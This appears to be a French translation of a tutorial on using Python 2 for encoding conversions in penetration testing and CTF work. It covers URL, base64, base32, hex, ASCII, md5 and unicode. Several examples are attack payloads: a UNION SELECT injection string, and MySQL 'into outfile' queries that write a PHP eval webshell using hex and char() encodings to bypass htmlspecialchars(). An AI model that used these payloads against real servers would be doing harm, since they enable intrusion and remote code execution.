Maison  >  Article  >  développement back-end  >  Explication détaillée d'exemples de conversion d'encodage en python

Explication détaillée d'exemples de conversion d'encodage en python

Y2J
Y2Joriginal
2017-05-03 15:52:491516parcourir

Dans les compétitions quotidiennes de pénétration, d'exploration de vulnérabilités et même de CTF, vous rencontrerez divers encodages, souvent accompagnés de diverses conversions entre ces encodages. L'article suivant présente principalement les informations pertinentes sur la merveilleuse utilisation de la conversion d'encodage en python. Les amis qui en ont besoin peuvent s'y référer.

Avant-propos

Je me souviens quand j'ai commencé, le problème de la conversion d'encodage était souvent "Baidu : décodage d'url, cryptage base64, hex ... ", ou utilisez un logiciel appelé "Xiaokui Multi-Function Conversion Tool", puis utilisez directement la fonction de décodeur de Burpsuite, ce qui est plutôt agréable. Cependant, nous avons également rencontré quelques problèmes : une faible efficacité de conversion en ligne (la recherche prend 2/3 du temps), et il existe quelques problèmes mineurs avec les deux outils. Par exemple, burp affiche souvent des caractères tronqués lorsqu'il s'agit de caractères chinois.



Jusqu'à ce que j'utilise Python comme outil de conversion d'encodage quotidien...

Démarrez le parcours de conversion py

l'encodage d'url

l'encodage d'url est un type d'emballage utilisé par les navigateurs Le format de saisie d'un formulaire peut être considéré comme la méthode de codage la plus familière en tant qu'internaute.

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64 est souvent utilisé comme paramètre pour les formulaires Web et la transmission HTTP, et est également couramment utilisé pour les protocoles de messagerie pour transmettre aux utilisateurs informations, etc

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

Je me souviens que j'avais été testé pour le décryptage base32 lors d'un concours CTF. La plupart des sites Web ne proposaient pas de décryptage en ligne, et il semblait qu'il n'y avait aucun moyen de continuer. Mais si vous utilisez python, ce sera aussi simple que de décrypter base64 ci-dessus. Il vous suffit de changer la fonction :

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

Hex. Le codage est également un schéma de codage courant dans les applications Web. En tant que responsable de la sécurité Web, nous sommes bien conscients que l'injection MySQL peut utiliser l'hexadécimal pour contourner la fonction htmlspecialchars() et écrire dans le webshell.

Par exemple :

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

Voici comment python implémente le cryptage et le déchiffrement hexadécimal :

>>> &#39;<?php @eval($_POST[a]); ?>&#39;.encode(&#39;hex&#39;)
&#39;3c3f70687020406576616c28245f504f53545b615d293b203f3e&#39;
>>>
>>> print &#39;3c3f70687020406576616c28245f504f53545b615d293b203f3e&#39;.decode(&#39;hex&#39;)
<?php @eval($_POST[a]); ?>
>>>

ASCii

La fonction char() de MySQL convertit le code ascii Pour cette raison, vous pouvez également utiliser cette fonctionnalité pour contourner la fonction htmlspecialchars().

Par exemple :

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile &#39;/web/1.php&#39;

Il est très simple d'utiliser python pour convertir une chaîne en ascii, mais la conversion inverse nécessite une petite opération :

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print &#39;&#39;.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5

md5 est bien connu dans la communauté de la sécurité Web En raison de son caractère irréversible, la plupart des sites Web stockent des données clés telles que les mots de passe des utilisateurs. Le cryptage md5 est souvent utilisé. Parfois, nous avons besoin du cryptage md5 pour soumettre la charge utile. Dans ce cas, cela peut être facilement réalisé en utilisant la méthode suivante. Bien entendu, il est recommandé d'utiliser cmd5 pour le décryptage.

>>> from hashlib import md5
>>> m = md5()
>>> m.update(&#39;this is a secret&#39;)
>>> m.hexdigest()
&#39;7dbbcee180ba4d456e4aa1cfbdad9c7b&#39;

>>> m.hexdigest()[8:-8]
&#39;80ba4d456e4aa1cf&#39;
>>>

Unicode vers chinois

La conversion Unicode vers chinois peut être rencontrée dans de nombreuses situations. Surtout lors des tests d’intrusion. Si vous utilisez burp, il y aura des problèmes avec les caractères chinois tronqués. C'est très simple à implémenter sous python.

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆

Résumé

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn